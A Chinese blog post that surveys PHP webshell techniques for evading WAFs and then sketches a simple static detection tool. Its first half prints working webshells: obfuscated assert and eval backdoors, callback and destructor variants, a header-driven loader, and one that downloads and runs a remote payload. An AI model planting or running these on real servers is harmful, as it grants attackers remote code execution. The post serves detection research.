PHP常见过waf webshell以及最简单的检测方法


Posted in PHP onMay 21, 2019

前言

之前在Webshell查杀的新思路中留了一个坑 ️,当时没有找到具体找到全部变量的方法,后来通过学习找到了个打印全部量的方法,并再次学习了下PHP webshell绕过WAF的方法,以此来验证下此方法是否合理。

如有错误,还请指出,不胜感激! :turtle:拜

在那篇文章中我突然想到一种检测webshell的方法,就是首先获取到当前文件中的所有变量(不明白的可以先去看下之前的文章),然后再根据正则库进行静态检测。

自认为这种方法虽然会检测不完全(每个检测机制都不能保障全部有效),但是感觉非常简单、实用,也没那么多高深的道理。

为了验证该检测机制,首先了解下目前PHP webshell绕过WAF的方法。

常见绕过WAF的PHP webshell

字符串变形

大小写、编码、截取、替换、特殊字符拼接、null、回车、换行、特殊字符串干扰

<?php
$a = base64_decode("YXNzYXNz+00000____");
$a = substr_replace($a,"ert",3);
$a($_POST['x']);
?>

ucwords()
ucfirst()
trim()
substr_replace()
substr()
strtr()
strtoupper()
strtolower()
strtok()
str_rot13()
chr()
gzcompress()、gzdeflate()、gzencode()
gzuncompress()、gzinflate()、gzdecode()
base64_encode()
base64_decode()
pack()
unpack()

自写函数

利用 assert()

<?php 
function test($a){
  $a($_POST['x']);
}
test(assert);
?>

回调函数

<?php 
call_user_func(assert,array($_POST[x]));
?>

call_user_func_array()
array_filter() 
array_walk() 
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var() 
filter_var_array() 
uasort() 
uksort() 
array_reduce()
array_walk() 
array_walk_recursive()
forward_static_call_array()


利用魔术方法、析构函数 __destruct() , __construct()

<?php 
class test
{
 public $a = '';
 function __destruct(){
  assert("$this->a");
 }
}
$b = new test;
$b->a = $_POST['x'];
?>

利用外部文件

利用 curl , fsockopen 等发起网络请求再结合 file_get_contents

<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*",
'687474703a2f2f7777772e77326e31636b2e636f6d2f7368656c6c2f312e6a7067'),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>

无字符特征马

编码、异或、自增

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>

特殊请求头

利用 getallheaders()

<?php
$cai=getallheaders()['cai'];
$dao=getallheaders()['dao'];
if($cai!="" and $dao!=""){
 $cai=gzuncompress(base64_decode($cai));$cai(gzuncompress(base64_decode($dao)));
}
header('HTTP/1.1 404 Not Found');
?>

全局变量

利用 getenv() , arrag_flip() , get_defined_vars() , session_id()

import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "phpinfo();".encode('hex')
cookies = {
 'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content

PHP混淆加解密

以phpjiami为例

就是将函数名、变量名全部变成”乱码”,且改动任意一个地方,都将导致文件不能运行。具体可访问: https://www.phpjiami.com/

PHP webshell检测方法

目前我所了解的webshell检测方式有:

  1. 机器学习检测webshell:比如混淆度、最长单词、重合指数、特征、压缩比等
  2. 动态检测(沙箱)
  3. 基于流量模式检测webshell:agent
  4. 逆向算法+静态匹配检测webshell:比如D盾webshell查杀
  5. 根据文件入度出度来检测

实例展示

这里以PHPjiami的webshell为例,其中 2.php 即为phpjiama的木马

PHP常见过waf webshell以及最简单的检测方法

可以明显看到明显的webshell规则了,这样再用静态规则、正则等即可轻松检测到。

简单检测思路

检测思路:

文件上传->文件包含->获取所有文件中的变量到临时文件中->静态规则匹配临时文件->返回匹配结果

├── __init__.py
├── conf
│   ├── __init__.py
│   ├── config.py
├── core
│   ├── __init__.py
│   ├── all_check.py
│   ├── data_mysql.py
│   └── file_inotify.py
├── lib
│   ├── __init__.py
│   └── semantic_analysis_api.py
├── test
│   ├── __init__.py
│   ├── file_md5_move.py
│   ├── os_check.py
│   ├── random_file_test.py
│   └── ...
├── web
│   ├── static
│   │   ├── css
│   │   │   ├── main.css
│   │   ├── images
│   │   │   └── background.jpg
│   │   └── js
│   │       └── upload.js
│   ├── templates
│   │   ├── index.html
│   ├── upload_file.php
│   └── include_file_to_tmp.php
├── webshell_check.py

conf中包含的是诸如下列的静态检测规则

PHP常见过waf webshell以及最简单的检测方法

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。

PHP 相关文章推荐
十天学会php之第七天
Oct 09 PHP
一步一步学习PHP(7) php 字符串相关应用
Mar 05 PHP
那些年一起学习的PHP(一)
Mar 21 PHP
php漏洞之跨网站请求伪造与防止伪造方法
Aug 15 PHP
PHP中使用GD库创建圆形饼图的例子
Nov 19 PHP
php实现只保留mysql中最新1000条记录
Jun 18 PHP
php实现多城市切换特效
Aug 09 PHP
php实现网站文件批量压缩下载功能
Oct 28 PHP
PHP简单读取PDF页数的实现方法
Jul 21 PHP
php检查函数必传参数是否存在的实例详解
Aug 28 PHP
PHP基于rabbitmq操作类的生产者和消费者功能示例
Jun 16 PHP
PHP7 其他语言层面的修改
Mar 09 PHP
PHP __call()方法实现委托示例
May 20 #PHP
PHP消息队列实现及应用详解【队列处理订单系统和配送系统】
May 20 #PHP
PHP常量define和const的区别详解
May 18 #PHP
thinkphp5框架实现的自定义扩展类操作示例
May 16 #PHP
java解析json方法总结
May 16 #PHP
微信支付之JSAPI公众号支付详解
May 15 #PHP
php获取目录下所有文件及目录(多种方法)(推荐)
May 14 #PHP
You might like
phpmyadmin 访问被拒绝的真实原因
2009/06/15 PHP
微盾PHP脚本加密专家php解密算法
2020/09/13 PHP
JQUERY的属性选择符和自定义选择符使用方法(二)
2011/04/07 Javascript
javascript中将Object转换为String函数代码 (json str)
2012/04/29 Javascript
jQuery编辑器KindEditor4.1.4代码高亮显示设置教程
2013/03/01 Javascript
js简单的弹出框有关闭按钮
2014/05/05 Javascript
jQuery显示和隐藏 常用的状态判断方法
2015/01/29 Javascript
jQuery中dom元素上绑定的事件详解
2015/04/24 Javascript
js基于面向对象实现网页TAB选项卡菜单效果代码
2015/09/09 Javascript
jquery移动端TAB触屏切换实现效果
2020/12/22 Javascript
js使用cookie记录用户名的方法
2015/11/26 Javascript
深入理解javascript中的 “this”
2017/01/17 Javascript
JS实现多级菜单中当前菜单不随页面跳转样式而发生变化
2017/05/30 Javascript
JS实现中文汉字按拼音排序的方法
2017/10/09 Javascript
微信小程序实现折叠面板
2018/01/31 Javascript
vue2.0页面前进刷新回退不刷新的实现方法
2018/07/31 Javascript
vue-cli 打包使用history模式的后端配置实例
2018/09/20 Javascript
移动端如何用下拉刷新的方式实现上拉加载
2018/12/10 Javascript
javascript+css实现俄罗斯方块小游戏
2020/06/28 Javascript
JS运算符优先级与表达式示例详解
2020/09/04 Javascript
[01:06]欢迎来到上海,TI9
2018/08/26 DOTA
使用Django和Python创建Json response的方法
2018/03/26 Python
python生成密码字典的方法
2018/07/06 Python
Python实现基于C/S架构的聊天室功能详解
2018/07/07 Python
Python判断有效的数独算法示例
2019/02/23 Python
Python填充任意颜色,不同算法时间差异分析说明
2020/05/16 Python
TensorFlow的环境配置与安装教程详解(win10+GeForce GTX1060+CUDA 9.0+cuDNN7.3+tensorflow-gpu 1.12.0+python3.5.5)
2020/06/22 Python
CSS3实现菜单悬停效果
2020/11/17 HTML / CSS
eBay奥地利站:eBay.at
2019/07/24 全球购物
印度手工编织服装和家居用品商店:Fabindi
2019/10/07 全球购物
银行职业规划书范文
2013/12/28 职场文书
18岁生日感言
2014/01/12 职场文书
开业庆典策划方案
2014/02/18 职场文书
员工年终自我评价
2014/09/14 职场文书
辣妈辣妹观后感
2015/06/10 职场文书
超级实用!五步法则,教你写好年终工作总结
2019/12/05 职场文书